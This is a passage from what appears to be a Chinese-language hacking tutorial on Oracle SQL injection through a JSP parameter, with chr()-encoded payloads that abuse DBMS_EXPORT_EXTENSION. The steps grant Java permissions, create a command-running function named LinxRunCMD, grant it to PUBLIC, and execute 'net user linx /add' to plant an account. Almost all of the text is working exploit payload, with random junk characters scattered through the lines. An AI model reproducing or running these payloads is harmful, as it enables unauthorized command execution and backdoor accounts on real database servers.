chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||# s) `- S6 w+ |3 v T6 e
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
8 |2 h) C" q6 T Q& B& q/ _" Hchr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
7 U5 C8 _8 k% y. b0 Q% h- a% H,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
$ U$ ]: |6 Y- k1 f4 F# R; O5 ?- K; a! v
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' n# q! s# }$ |: [, N------------------------------, a9 U( K _; Q7 Q9 E
9 E7 j. b" p6 y u
2.赋Java权限. S& ~9 O4 M4 I" \# H8 h4 `: d
/xxx.jsp?id=1 and chr(49)<>chr(50)||(
5 @& w' D/ X# L. W0 U2 x
, u0 C% y: }* r |9 ?select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
( @$ J' [" _& D. {+ D& G0 L6 rchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||7 W e. y x( Q2 R" G( y& A( M2 ?5 `' H9 R
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
$ |+ l$ J+ b( E4 w$ m2 p5 lchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||/ V. ` v8 v% l: u
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||. @- p7 e5 L6 Y0 z* e5 Z
chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||
: f- K/ M8 h9 {$ h$ G% w; w9 L6 Uchr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||2 I) a8 k) c" t# T! y
chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||1 j8 ^' N! ]9 q& F( ]7 H
chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||0 ]0 O) C$ t4 H; h7 ?0 F3 t$ O7 G+ F
chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)# b- j9 S5 O8 N5 v
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
& O) @7 ^6 F, Q8 H& {; ^. W
5 Q& |/ w$ u7 e% S: F+ n)
( O2 L9 P6 c) y& q4 |: w1 T+ K. u2 \3 W: S" i4 i! K; ?* z
readfile函数的ascii版就不写了,见谅。
9 n @( u- O- g: z# V, j, ]0 S5 q) w4 G. q& D, f0 D
3.创建函数- e$ Q: a3 |" m9 r6 ]
( z) P% f4 `9 o
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
6 I4 v( V* M# xchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||2 Z2 x# F8 G a5 H: `" Z
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
V. v0 Q$ S. W" P% \chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
7 ?/ ^1 w( E$ R9 G, pchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||. ^) M" ?5 E' K8 n6 c$ J
chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||
+ w3 \/ T0 E1 k9 T6 _chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||
5 O$ `2 I; r- k1 U! N3 Schr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||; W. V. V7 a) l3 R
chr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||) b& _/ Y: y' J) n" j1 }4 T; \
chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
7 W |; M5 P/ u Fchr(59)||chr(45)||chr(45). a, z! D5 _2 G: Q
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual6 p7 \; F2 m8 P6 G+ p* l0 J
& ]' ~, R6 D0 f3 {( ?+ g: t
( j9 E( [: J* ~) }- r h# {! [$ Z% m4 g+ ~; j1 L
4.赋public执行函数的权限7 y7 }, c# B# d* s3 w5 i
$ a7 M! m1 v6 x5 r5 W. `; _, P
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
4 M, e( G" @9 `8 y& P2 ^# Gchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||* ~2 Y' D( X9 L$ a0 K7 [+ T0 m3 d1 h" |
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
; ?2 q/ y5 B* @3 ~chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
3 s* L5 z c2 d# e; T1 t9 ~6 B0 Schr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
' y2 n2 `& r. E6 k3 J5 Xchr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
1 j; g$ ~) ^- ]1 {0 T5 K lchr(59)||chr(45)||chr(45)
8 I! T; D: ^% }7 _) f0 G5 c2 k9 `,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual0 i. l2 R: V3 b% c M( I
+ x2 G' D2 ^0 I2 p( a; u9 r# c
7 I& b" q4 |* f' P9 ^1 z. K$ E
+ y% z6 @) I; r7 t* B4 N5.执行命令:% _! U' m- V+ A- u
( d& k' v8 k) x+ d4 Q1 n/xxx.jsp?id=1 and chr(49)<>chr(32)||(0 x% C s+ P: d
select sys.LinxRunCMD('cmd /c net user linx /add') from dual: Q; r' y2 A( r; ^# y
)- E, S! O: ]; P% {. k( `" W
" J4 O: L$ H( D$ q9 x4 W+ v即8 A; K; N6 w7 k: g! Q* d
/xxx.jsp?id=1 and chr(49)<>chr(32)||(
) D# S" R" J2 U% n8 w# _select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual
% ^; A0 ]+ z7 w; d, M! j- X)
/ U2 F9 k. H! |3 e |